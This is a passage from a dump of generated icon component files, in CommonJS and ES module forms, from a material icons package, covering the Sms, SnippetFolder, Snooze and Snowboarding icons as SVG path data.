    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 17.17 5.17 16H20V4H4zM15 9h2v2h-2zm-4 0h2v2h-2zM7 9h2v2H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16zM7 9h2v2H7zm8 0h2v2h-2zm-4 0h2v2h-2z\"\n}, \"1\")], 'SmsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 17.17 5.17 16H20V4H4zM15 9h2v2h-2zm-4 0h2v2h-2zM7 9h2v2H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16zM7 9h2v2H7zm8 0h2v2h-2zm-4 0h2v2h-2z\"\n}, \"1\")], 'SmsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnippetFolder.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.88 10.5 1.62 1.62v3.38h-3v-5zM22 8v10c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2l.01-12c0-1.1.89-2 1.99-2h6l2 2h8c1.1 0 2 .9 2 2m-3 3.5L16.5 9H13v8h6z\"\n}), 'SnippetFolder');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnippetFolder.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.88 10.5 1.62 1.62v3.38h-3v-5zM22 8v10c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2l.01-12c0-1.1.89-2 1.99-2h6l2 2h8c1.1 0 2 .9 2 2m-3 3.5L16.5 9H13v8h6z\"\n}), 'SnippetFolder');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnippetFolderOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20zm-2.5-5.88v3.38h-3v-5h1.38zM13 9v8h6v-5.5L16.5 9z\"\n}), 'SnippetFolderOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnippetFolderOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20zm-2.5-5.88v3.38h-3v-5h1.38zM13 9v8h6v-5.5L16.5 9z\"\n}), 'SnippetFolderOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnippetFolderRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.88 10.5 1.62 1.62v3.38h-3v-5zM22 8v10c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2l.01-12c0-1.1.89-2 1.99-2h5.17c.53 0 1.04.21 1.41.59L12 6h8c1.1 0 2 .9 2 2m-3 3.91c0-.27-.11-.52-.29-.71L16.8 9.29c-.19-.18-.45-.29-.71-.29H14c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h4c.55 0 1-.45 1-1z\"\n}), 'SnippetFolderRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnippetFolderRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.88 10.5 1.62 1.62v3.38h-3v-5zM22 8v10c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2l.01-12c0-1.1.89-2 1.99-2h5.17c.53 0 1.04.21 1.41.59L12 6h8c1.1 0 2 .9 2 2m-3 3.91c0-.27-.11-.52-.29-.71L16.8 9.29c-.19-.18-.45-.29-.71-.29H14c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h4c.55 0 1-.45 1-1z\"\n}), 'SnippetFolderRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnippetFolderSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 6-2-2H2v16h20V6zm7 11h-6V9h3.5l2.5 2.5zm-3.12-6.5 1.62 1.62v3.38h-3v-5z\"\n}), 'SnippetFolderSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnippetFolderSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 6-2-2H2v16h20V6zm7 11h-6V9h3.5l2.5 2.5zm-3.12-6.5 1.62 1.62v3.38h-3v-5z\"\n}), 'SnippetFolderSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnippetFolderTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.17 6H4v12h16V8h-8.83z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20zm-2.5-5.88v3.38h-3v-5h1.38zM16.5 9H13v8h6v-5.5z\"\n}, \"1\")], 'SnippetFolderTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnippetFolderTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.17 6H4v12h16V8h-8.83z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20zm-2.5-5.88v3.38h-3v-5h1.38zM16.5 9H13v8h6v-5.5z\"\n}, \"1\")], 'SnippetFolderTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Snooze.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.88 3.39 6.6 1.86 2 5.71l1.29 1.53zM22 5.72l-4.6-3.86-1.29 1.53 4.6 3.86zM12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9c4.97 0 9-4.03 9-9s-4.03-9-9-9m0 16c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7m-3-9h3.63L9 15.2V17h6v-2h-3.63L15 10.8V9H9z\"\n}), 'Snooze');"
  },
  {
    "path": "packages/mui-icons-material/lib/Snooze.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.88 3.39 6.6 1.86 2 5.71l1.29 1.53zM22 5.72l-4.6-3.86-1.29 1.53 4.6 3.86zM12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9c4.97 0 9-4.03 9-9s-4.03-9-9-9m0 16c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7m-3-9h3.63L9 15.2V17h6v-2h-3.63L15 10.8V9H9z\"\n}), 'Snooze');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnoozeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 11h3.63L9 15.2V17h6v-2h-3.63L15 10.8V9H9zm7.056-7.654 1.282-1.535 4.607 3.85-1.28 1.54zM3.336 7.19l-1.28-1.536L6.662 1.81l1.28 1.536zM12 6c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.14-7-7 3.14-7 7-7m0-2c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9\"\n}), 'SnoozeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnoozeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 11h3.63L9 15.2V17h6v-2h-3.63L15 10.8V9H9zm7.056-7.654 1.282-1.535 4.607 3.85-1.28 1.54zM3.336 7.19l-1.28-1.536L6.662 1.81l1.28 1.536zM12 6c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.14-7-7 3.14-7 7-7m0-2c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9\"\n}), 'SnoozeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnoozeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 11h2.63l-3.72 4.35C8.36 16 8.82 17 9.67 17H14c.55 0 1-.45 1-1s-.45-1-1-1h-2.63l3.72-4.35c.55-.65.09-1.65-.76-1.65H10c-.55 0-1 .45-1 1s.45 1 1 1m11.3-4.58c-.35.42-.98.48-1.41.13l-3.07-2.56c-.42-.36-.48-.99-.12-1.41.35-.42.98-.48 1.41-.13l3.07 2.56c.42.36.48.99.12 1.41m-18.6 0c.35.43.98.48 1.4.13l3.07-2.56c.43-.36.49-.99.13-1.41-.35-.43-.98-.48-1.4-.13L2.82 5.01c-.42.36-.48.99-.12 1.41M12 6c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.14-7-7 3.14-7 7-7m0-2c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9\"\n}), 'SnoozeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnoozeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 11h2.63l-3.72 4.35C8.36 16 8.82 17 9.67 17H14c.55 0 1-.45 1-1s-.45-1-1-1h-2.63l3.72-4.35c.55-.65.09-1.65-.76-1.65H10c-.55 0-1 .45-1 1s.45 1 1 1m11.3-4.58c-.35.42-.98.48-1.41.13l-3.07-2.56c-.42-.36-.48-.99-.12-1.41.35-.42.98-.48 1.41-.13l3.07 2.56c.42.36.48.99.12 1.41m-18.6 0c.35.43.98.48 1.4.13l3.07-2.56c.43-.36.49-.99.13-1.41-.35-.43-.98-.48-1.4-.13L2.82 5.01c-.42.36-.48.99-.12 1.41M12 6c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.14-7-7 3.14-7 7-7m0-2c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9\"\n}), 'SnoozeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnoozeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 11h3.63L9 15.2V17h6v-2h-3.63L15 10.8V9H9zm7.056-7.654 1.282-1.535 4.607 3.85-1.28 1.54zM3.336 7.19l-1.28-1.536L6.662 1.81l1.28 1.536zM12 6c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.14-7-7 3.14-7 7-7m0-2c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9\"\n}), 'SnoozeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnoozeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 11h3.63L9 15.2V17h6v-2h-3.63L15 10.8V9H9zm7.056-7.654 1.282-1.535 4.607 3.85-1.28 1.54zM3.336 7.19l-1.28-1.536L6.662 1.81l1.28 1.536zM12 6c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.14-7-7 3.14-7 7-7m0-2c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9\"\n}), 'SnoozeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnoozeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 11h3.63L9 15.2V17h6v-2h-3.63L15 10.8V9H9zm8.337-9.19 4.607 3.845-1.28 1.535-4.61-3.843zm-10.674 0 1.282 1.536L3.337 7.19l-1.28-1.536zM12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}), 'SnoozeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnoozeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 11h3.63L9 15.2V17h6v-2h-3.63L15 10.8V9H9zm8.337-9.19 4.607 3.845-1.28 1.535-4.61-3.843zm-10.674 0 1.282 1.536L3.337 7.19l-1.28-1.536zM12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}), 'SnoozeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Snowboarding.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 3c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m7.4 17.09c-.23-.05-.46.02-.64.17-.69.6-1.64.88-2.6.67L17 20.69l-1-6.19-3.32-2.67 1.8-2.89C15.63 10.78 17.68 12 20 12v-2c-1.85 0-3.44-1.12-4.13-2.72l-.52-1.21C15.16 5.64 14.61 5 13.7 5H8L5.5 9l1.7 1.06L9.1 7h2.35l-2.51 3.99c-.28.45-.37 1-.25 1.52L9.5 16 6 18.35l-.47-.1c-.96-.2-1.71-.85-2.1-1.67-.1-.21-.28-.37-.51-.42-.43-.09-.82.2-.9.58-.04.14-.02.31.05.46.58 1.24 1.71 2.2 3.15 2.51l12.63 2.69c1.44.31 2.86-.11 3.9-1.01.13-.11.21-.26.24-.41.07-.38-.16-.8-.59-.89M8.73 18.93l3.02-2.03-.44-3.32 2.84 2.02.75 4.64z\"\n}), 'Snowboarding');"
  },
  {
    "path": "packages/mui-icons-material/lib/Snowboarding.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 3c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m7.4 17.09c-.23-.05-.46.02-.64.17-.69.6-1.64.88-2.6.67L17 20.69l-1-6.19-3.32-2.67 1.8-2.89C15.63 10.78 17.68 12 20 12v-2c-1.85 0-3.44-1.12-4.13-2.72l-.52-1.21C15.16 5.64 14.61 5 13.7 5H8L5.5 9l1.7 1.06L9.1 7h2.35l-2.51 3.99c-.28.45-.37 1-.25 1.52L9.5 16 6 18.35l-.47-.1c-.96-.2-1.71-.85-2.1-1.67-.1-.21-.28-.37-.51-.42-.43-.09-.82.2-.9.58-.04.14-.02.31.05.46.58 1.24 1.71 2.2 3.15 2.51l12.63 2.69c1.44.31 2.86-.11 3.9-1.01.13-.11.21-.26.24-.41.07-.38-.16-.8-.59-.89M8.73 18.93l3.02-2.03-.44-3.32 2.84 2.02.75 4.64z\"\n}), 'Snowboarding');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnowboardingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 3c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m7.4 17.09c-.23-.05-.46.02-.64.17-.69.6-1.64.88-2.6.67L17 20.69l-1-6.19-3.32-2.67 1.8-2.89C15.63 10.78 17.68 12 20 12v-2c-1.85 0-3.44-1.12-4.13-2.72l-.52-1.21C15.16 5.64 14.61 5 13.7 5H8L5.5 9l1.7 1.06L9.1 7h2.35l-2.51 3.99c-.28.45-.37 1-.25 1.52L9.5 16 6 18.35l-.47-.1c-.96-.2-1.71-.85-2.1-1.67-.1-.21-.28-.37-.51-.42-.43-.09-.82.2-.9.58-.04.14-.02.31.05.46.58 1.24 1.71 2.2 3.15 2.51l12.63 2.69c1.44.31 2.86-.11 3.9-1.01.13-.11.21-.26.24-.41.07-.38-.16-.8-.59-.89M8.73 18.93l3.02-2.03-.44-3.32 2.84 2.02.75 4.64z\"\n}), 'SnowboardingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnowboardingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 3c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m7.4 17.09c-.23-.05-.46.02-.64.17-.69.6-1.64.88-2.6.67L17 20.69l-1-6.19-3.32-2.67 1.8-2.89C15.63 10.78 17.68 12 20 12v-2c-1.85 0-3.44-1.12-4.13-2.72l-.52-1.21C15.16 5.64 14.61 5 13.7 5H8L5.5 9l1.7 1.06L9.1 7h2.35l-2.51 3.99c-.28.45-.37 1-.25 1.52L9.5 16 6 18.35l-.47-.1c-.96-.2-1.71-.85-2.1-1.67-.1-.21-.28-.37-.51-.42-.43-.09-.82.2-.9.58-.04.14-.02.31.05.46.58 1.24 1.71 2.2 3.15 2.51l12.63 2.69c1.44.31 2.86-.11 3.9-1.01.13-.11.21-.26.24-.41.07-.38-.16-.8-.59-.89M8.73 18.93l3.02-2.03-.44-3.32 2.84 2.02.75 4.64z\"\n}), 'SnowboardingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnowboardingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 3c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2M6.35 9.53c.47.29 1.09.15 1.38-.32L9.1 7h2.35l-2.51 3.99c-.28.45-.37 1-.25 1.52L9.5 16 6 18.35l-.47-.1c-.96-.2-1.71-.85-2.1-1.67-.1-.21-.28-.37-.51-.42-.43-.09-.82.2-.9.58-.04.14-.02.31.05.46.58 1.24 1.71 2.2 3.15 2.51l12.63 2.69c1.44.31 2.86-.11 3.9-1.01.13-.11.21-.26.24-.41.08-.38-.16-.8-.59-.89-.23-.05-.46.02-.64.17-.69.6-1.64.88-2.6.67L17 20.69l-.88-5.43c-.08-.49-.34-.93-.72-1.24l-2.72-2.19 1.8-2.89c.96 1.53 2.54 2.64 4.39 2.96.6.11 1.13-.39 1.13-1 0-.48-.35-.89-.83-.98-1.49-.28-2.72-1.29-3.3-2.64l-.52-1.21C15.16 5.64 14.61 5 13.7 5H9.11c-.69 0-1.33.36-1.7.94L6.03 8.15c-.29.47-.15 1.09.32 1.38m2.38 9.4 2.25-1.51c.47-.32.73-.88.65-1.44l-.32-2.4 2.84 2.02.75 4.64z\"\n}), 'SnowboardingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnowboardingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 3c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2M6.35 9.53c.47.29 1.09.15 1.38-.32L9.1 7h2.35l-2.51 3.99c-.28.45-.37 1-.25 1.52L9.5 16 6 18.35l-.47-.1c-.96-.2-1.71-.85-2.1-1.67-.1-.21-.28-.37-.51-.42-.43-.09-.82.2-.9.58-.04.14-.02.31.05.46.58 1.24 1.71 2.2 3.15 2.51l12.63 2.69c1.44.31 2.86-.11 3.9-1.01.13-.11.21-.26.24-.41.08-.38-.16-.8-.59-.89-.23-.05-.46.02-.64.17-.69.6-1.64.88-2.6.67L17 20.69l-.88-5.43c-.08-.49-.34-.93-.72-1.24l-2.72-2.19 1.8-2.89c.96 1.53 2.54 2.64 4.39 2.96.6.11 1.13-.39 1.13-1 0-.48-.35-.89-.83-.98-1.49-.28-2.72-1.29-3.3-2.64l-.52-1.21C15.16 5.64 14.61 5 13.7 5H9.11c-.69 0-1.33.36-1.7.94L6.03 8.15c-.29.47-.15 1.09.32 1.38m2.38 9.4 2.25-1.51c.47-.32.73-.88.65-1.44l-.32-2.4 2.84 2.02.75 4.64z\"\n}), 'SnowboardingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnowboardingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 3c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m7.4 17.09c-.23-.05-.46.02-.64.17-.69.6-1.64.88-2.6.67L17 20.69l-1-6.19-3.32-2.67 1.8-2.89C15.63 10.78 17.68 12 20 12v-2c-1.85 0-3.44-1.12-4.13-2.72l-.52-1.21C15.16 5.64 14.61 5 13.7 5H8L5.5 9l1.7 1.06L9.1 7h2.35L8.5 11.7l1 4.3L6 18.35l-.47-.1c-.96-.2-1.71-.85-2.1-1.67-.1-.21-.28-.37-.51-.42-.43-.09-.82.2-.9.58-.04.14-.02.31.05.46.58 1.24 1.71 2.2 3.15 2.51l12.63 2.69c1.44.31 2.86-.11 3.9-1.01.13-.11.21-.26.24-.41.07-.38-.16-.8-.59-.89M8.73 18.93l3.02-2.03-.44-3.32 2.84 2.02.75 4.64z\"\n}), 'SnowboardingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnowboardingSharp.mjs",
